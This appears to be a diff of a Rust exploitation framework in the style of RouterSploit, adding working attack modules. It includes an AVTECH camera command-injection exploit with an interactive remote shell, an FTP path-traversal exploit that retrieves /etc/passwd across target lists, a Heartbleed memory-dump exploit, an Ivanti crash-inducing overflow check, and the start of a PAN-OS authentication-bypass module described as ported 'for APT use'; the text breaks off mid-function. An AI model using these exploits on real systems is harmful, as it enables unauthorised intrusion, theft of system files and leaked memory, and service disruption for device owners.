/// // Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// // Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = BufReader::new(stdin).lines();
|
||||
|
||||
loop {
|
||||
print!("cve7029-shell> ");
|
||||
io::stdout().flush()?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
break;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
let payload = format!("1;{};", cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// // Prompt user for a custom port number
|
||||
fn prompt_port() -> Result<String> {
|
||||
print!("Enter port to use [default: 80]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut port = String::new();
|
||||
io::stdin().read_line(&mut port)?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// // Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port()?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
// // Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("[+] {} is vulnerable!", url);
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("[-] {} is not vulnerable", url);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_7029_avtech_camera;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod pachev_ftp_path_traversal_1_0;
|
||||
@@ -0,0 +1,190 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{copy, BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::*; // // Colorful output
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
|
||||
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
let mut clean = target.trim().to_string();
|
||||
|
||||
while clean.starts_with('[') && clean.ends_with(']') {
|
||||
clean = clean[1..clean.len() - 1].to_string();
|
||||
}
|
||||
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
|
||||
// // Actual FTP path traversal exploit
|
||||
fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
let addr = format_addr(&target, port);
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
let mut ftp = FtpStream::connect(
|
||||
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
|
||||
)
|
||||
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
|
||||
|
||||
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
|
||||
|
||||
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
|
||||
.into_inner();
|
||||
let mut reader = std::io::Cursor::new(reader);
|
||||
|
||||
let safe_name = target.replace(['[', ']', ':'], "_");
|
||||
let out_file = format!("{}_passwd.txt", safe_name);
|
||||
let mut file = File::create(&out_file)?;
|
||||
copy(&mut reader, &mut file)?;
|
||||
|
||||
ftp.quit().ok();
|
||||
|
||||
println!("{}", format!("[+] File saved as {}", out_file).green());
|
||||
|
||||
Ok(format!("{} SUCCESS", target))
|
||||
}
|
||||
|
||||
// // Save result line into `results.txt`
|
||||
fn save_result(line: &str) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("results.txt")?;
|
||||
|
||||
writeln!(file, "{}", line)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Public auto-dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
|
||||
println!("Enter the FTP port (default 21):");
|
||||
let mut port_input = String::new();
|
||||
std::io::stdin().read_line(&mut port_input)?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
} else {
|
||||
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
|
||||
};
|
||||
|
||||
println!("Do you want to use a list of IPs? (yes/no):");
|
||||
let mut use_list = String::new();
|
||||
std::io::stdin().read_line(&mut use_list)?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
println!("Enter path to the IP list file:");
|
||||
let mut path = String::new();
|
||||
std::io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
if !Path::new(path).exists() {
|
||||
return Err(anyhow!("List file does not exist: {}", path));
|
||||
}
|
||||
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
|
||||
let mut futures = FuturesUnordered::new();
|
||||
|
||||
for line_result in reader.lines() {
|
||||
match line_result {
|
||||
Ok(ip) => {
|
||||
let ip = ip.trim();
|
||||
if ip.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let ip_owned = ip.to_string();
|
||||
let port = port;
|
||||
let target_clone = target.clone(); // // Clone per task
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
|
||||
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
|
||||
|
||||
futures.push(tokio::spawn(async move {
|
||||
let _permit = permit; // // Hold permit alive
|
||||
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
|
||||
|
||||
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
|
||||
Ok(Ok(Ok(success))) => {
|
||||
println!("{}", format!("[+] Success: {}", success).green());
|
||||
save_result(&success)?;
|
||||
}
|
||||
Ok(Ok(Err(e))) => {
|
||||
println!("{}", format!("[!] Exploit error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: {}", target_clone, e))?;
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("{}", format!("[!] Join error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
|
||||
save_result(&format!("{} TIMEOUT", target_clone))?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok::<(), anyhow::Error>(())
|
||||
}));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read line: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// // Wait for all tasks to complete
|
||||
while let Some(res) = futures.next().await {
|
||||
if let Err(e) = res {
|
||||
println!("{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// // Single target mode
|
||||
let target_owned = target.to_string();
|
||||
let port = port;
|
||||
|
||||
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
|
||||
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
|
||||
Ok(Ok(Ok(success))) => {
|
||||
println!("{}", format!("[+] Success: {}", success).green());
|
||||
save_result(&success)?;
|
||||
}
|
||||
Ok(Ok(Err(e))) => {
|
||||
println!("{}", format!("[!] Exploit error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: {}", target, e))?;
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("{}", format!("[!] Join error: {}", e).red());
|
||||
save_result(&format!("{} FAIL: Join error {}", target, e))?;
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
|
||||
save_result(&format!("{} TIMEOUT", target))?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Entry point for dispatcher – uses default port 443
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_with_port(target, 443).await
|
||||
}
|
||||
|
||||
/// Full Heartbleed scanner with user-defined port (used internally)
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
// 1) Trim whitespace and strip _all_ bracket layers:
|
||||
let raw = target.trim();
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
// 3) Build the addr string with port:
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[*] Sending Client Hello...");
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (Client Hello response)");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Sending Heartbeat...");
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No heartbeat response.");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (heartbeat response)");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
|
||||
let path = Path::new(&filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(&leak[..n])
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
println!("[+] Leak dump saved to: {}", filename);
|
||||
println!("{}", printable_dump(&leak[..n]));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds a TLS ClientHello message
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302; // TLS 1.1
|
||||
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&vec![0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0); // Session ID length
|
||||
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1); // Compression methods length
|
||||
hello.push(0); // No compression
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01); // Extension data
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
/// Builds a malicious Heartbeat request
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
/// Wraps payload in a TLS record
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
/// Converts binary leak to printable ASCII
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' | b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod heartbleed;
|
||||
@@ -0,0 +1,260 @@
|
||||
//CVE-2025-22457 – Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
|
||||
|
||||
//Author: Bryan Smith (@securekomodo)
|
||||
//Severity: Critical
|
||||
//CWE: CWE-121 – Stack-Based Buffer Overflow
|
||||
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
|
||||
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
|
||||
//Affected Versions:
|
||||
// - Connect Secure < 22.7R2.6
|
||||
// - Policy Secure < 22.7R1.4
|
||||
// - ZTA Gateways < 22.8R2.2
|
||||
|
||||
// Description:
|
||||
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
|
||||
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
|
||||
|
||||
// In detailed mode, the vulnerability is confirmed if:
|
||||
// 1. A pre-check GET request returns HTTP 200
|
||||
// 2. A POST request with the crafted payload receives no response (safe crash)
|
||||
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
|
||||
|
||||
// If this sequence is observed, the system is marked as vulnerable.
|
||||
// A vulnerable system will generate the log on the server appliance:
|
||||
// ERROR31093: Program web recently failed.
|
||||
|
||||
//References:
|
||||
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
|
||||
// - https://www.cvedetails.com/cve/CVE-2025-22457
|
||||
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
use anyhow::Result;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use tokio::io::{self, AsyncBufReadExt, BufReader};
|
||||
use url::Url;
|
||||
|
||||
/// ANSI color codes for terminal output
|
||||
struct Colors;
|
||||
impl Colors {
|
||||
const YELLOW: &'static str = "\x1b[93m";
|
||||
const GREEN: &'static str = "\x1b[92m";
|
||||
const GRAY: &'static str = "\x1b[90m";
|
||||
const RED: &'static str = "\x1b[91m";
|
||||
const RESET: &'static str = "\x1b[0m";
|
||||
}
|
||||
|
||||
/// // Paths tested for CVE-2025-22457
|
||||
const PATHS: [&str; 2] = [
|
||||
"/dana-na/auth/url_default/welcome.cgi",
|
||||
"/dana-na/setup/psaldownload.cgi",
|
||||
];
|
||||
|
||||
/// // Headers for initial and payload requests
|
||||
fn default_headers() -> reqwest::header::HeaderMap {
|
||||
let mut headers = reqwest::header::HeaderMap::new();
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
|
||||
headers
|
||||
}
|
||||
|
||||
fn payload_headers() -> reqwest::header::HeaderMap {
|
||||
let mut headers = reqwest::header::HeaderMap::new();
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
|
||||
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
|
||||
headers
|
||||
}
|
||||
|
||||
/// // Safe HTTP request wrapper
|
||||
async fn safe_request(
|
||||
method: &str,
|
||||
url: &str,
|
||||
headers: reqwest::header::HeaderMap,
|
||||
timeout_secs: u64,
|
||||
) -> Option<reqwest::Response> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.build()
|
||||
.ok()?;
|
||||
|
||||
match method {
|
||||
"GET" => client.get(url).headers(headers).send().await.ok(),
|
||||
"POST" => client.post(url).headers(headers).send().await.ok(),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// // Normalize and extract usable target URL from IPv6/host formats
|
||||
async fn normalize_target(raw: &str) -> Result<String> {
|
||||
let mut input = raw.trim().to_string();
|
||||
|
||||
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
|
||||
while input.starts_with('[') && input.ends_with(']') {
|
||||
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
|
||||
}
|
||||
|
||||
// // Prepend https:// if missing
|
||||
if !input.starts_with("http://") && !input.starts_with("https://") {
|
||||
input = format!("https://{}", input);
|
||||
}
|
||||
|
||||
let mut parsed = Url::parse(&input)?;
|
||||
|
||||
// // Prompt for port if not present
|
||||
if parsed.port_or_known_default().is_none() {
|
||||
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
|
||||
let mut port_line = String::new();
|
||||
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
|
||||
let port = port_line.trim().parse::<u16>()?;
|
||||
parsed.set_port(Some(port)).expect("invalid port");
|
||||
}
|
||||
|
||||
Ok(parsed[..].to_string())
|
||||
}
|
||||
|
||||
/// // Version info grabber for passive fingerprinting
|
||||
async fn grab_version_info(target: &str) -> Result<Option<String>> {
|
||||
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
if let Ok(r) = client.get(&version_url).send().await {
|
||||
if r.status() == StatusCode::OK {
|
||||
let body = r.text().await?;
|
||||
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
|
||||
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
|
||||
|
||||
let name = name_re
|
||||
.captures(&body)
|
||||
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
|
||||
let ver = ver_re
|
||||
.captures(&body)
|
||||
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
|
||||
|
||||
if let (Some(name), Some(ver)) = (name, ver) {
|
||||
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
|
||||
|
||||
// // Passive logic
|
||||
if ver.starts_with("9.") {
|
||||
println!(
|
||||
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
|
||||
Colors::YELLOW, Colors::RESET
|
||||
);
|
||||
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
|
||||
if parsed_ver < semver::Version::parse("22.7.0")? {
|
||||
println!(
|
||||
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
|
||||
Colors::YELLOW, ver, Colors::RESET
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}Version {} appears patched.{}",
|
||||
Colors::GREEN, ver, Colors::RESET
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return Ok(Some(version_url));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// // Run detailed check using the 3-phase logic from PoC
|
||||
async fn detailed_check(target: &str) -> Result<Vec<String>> {
|
||||
println!(
|
||||
"\n{}Starting detailed check on {}{}",
|
||||
Colors::GRAY, target, Colors::RESET
|
||||
);
|
||||
|
||||
let mut vulnerable_paths = Vec::new();
|
||||
|
||||
if let Some(ver_url) = grab_version_info(target).await? {
|
||||
vulnerable_paths.push(ver_url);
|
||||
}
|
||||
|
||||
for path in PATHS {
|
||||
let full_url = format!("{target}{path}");
|
||||
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
|
||||
|
||||
// // Step 1: Pre-check
|
||||
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
|
||||
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
|
||||
println!(
|
||||
"{}Pre-check failed (status: {}). Skipping...{}",
|
||||
Colors::GRAY,
|
||||
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
|
||||
Colors::RESET
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
|
||||
|
||||
// // Step 2: Payload
|
||||
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
|
||||
if r2.is_some() {
|
||||
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
|
||||
continue;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}No response to payload (expected crash behavior).{}",
|
||||
Colors::GREEN, Colors::RESET
|
||||
);
|
||||
|
||||
// // Step 3: Follow-up GET
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
|
||||
|
||||
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
|
||||
println!(
|
||||
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
|
||||
Colors::GREEN, Colors::RESET
|
||||
);
|
||||
println!(
|
||||
"{}VULNERABLE: {}{}{}",
|
||||
Colors::YELLOW, target, path, Colors::RESET
|
||||
);
|
||||
vulnerable_paths.push(full_url);
|
||||
} else {
|
||||
println!(
|
||||
"{}Follow-up failed. Crash condition not confirmed.{}",
|
||||
Colors::GRAY, Colors::RESET
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(vulnerable_paths)
|
||||
}
|
||||
|
||||
/// // Required entry point for RouterSploit-style dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target).await?;
|
||||
let result = detailed_check(&normalized).await?;
|
||||
|
||||
if !result.is_empty() {
|
||||
println!(
|
||||
"\n{}Exploit result: SUCCESS – vulnerable paths found.{}",
|
||||
Colors::YELLOW, Colors::RESET
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"\n{}Exploit result: NOT VULNERABLE – no indicators.{}",
|
||||
Colors::RED, Colors::RESET
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
|
||||
@@ -0,0 +1,17 @@
|
||||
pub mod generic;
|
||||
pub mod sample_exploit;
|
||||
pub mod payloadgens;
|
||||
pub mod tplink;
|
||||
pub mod ssh;
|
||||
pub mod spotube;
|
||||
pub mod ftp;
|
||||
pub mod zabbix;
|
||||
pub mod abus;
|
||||
pub mod uniview;
|
||||
pub mod avtech;
|
||||
pub mod acti;
|
||||
pub mod zte;
|
||||
pub mod ivanti;
|
||||
pub mod apache_tomcat;
|
||||
pub mod palto_alto;
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod panos_authbypass_cve_2025_0108;
|
||||
@@ -0,0 +1,131 @@
|
||||
// Filename: cve_2025_0108.rs
|
||||
|
||||
use anyhow::{Result, bail};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
process::Command,
|
||||
time::Duration,
|
||||
};
|
||||
use url::Url;
|
||||
|
||||
/// // CVE-2025-0108 - PanOS Authentication Bypass
|
||||
/// // Author: iSee857
|
||||
/// // Ported to Rust by ethical hacker daniel for APT use
|
||||
|
||||
/// // Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
****************************************************
|
||||
* CVE-2025-0108 *
|
||||
* PanOs 身份认证绕过漏洞 *
|
||||
* 作者: iSee857 *
|
||||
****************************************************
|
||||
"#
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// // Reads target list from file
|
||||
fn read_file(file_path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(file_path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader.lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
/// // Normalize IPv6 host with double or triple brackets
|
||||
fn normalize_ipv6_host(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// // Constructs the full normalized URL
|
||||
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
|
||||
let host = normalize_ipv6_host(host);
|
||||
let base = format!("{}{}:{}", proto, host, port);
|
||||
Url::parse(&base).ok().map(|u| u.to_string())
|
||||
}
|
||||
|
||||
/// // Opens a URL in the default system browser
|
||||
fn open_browser(url: &str) -> Result<()> {
|
||||
#[cfg(target_os = "linux")]
|
||||
let cmd = Command::new("xdg-open").arg(url).spawn();
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
let cmd = Command::new("open").arg(url).spawn();
|
||||
|
||||
if cmd.is_err() {
|
||||
bail!("Could not open default browser.");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Executes CVE-2025-0108 check
|
||||
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
let protocols = ["http://", "https://"];
|
||||
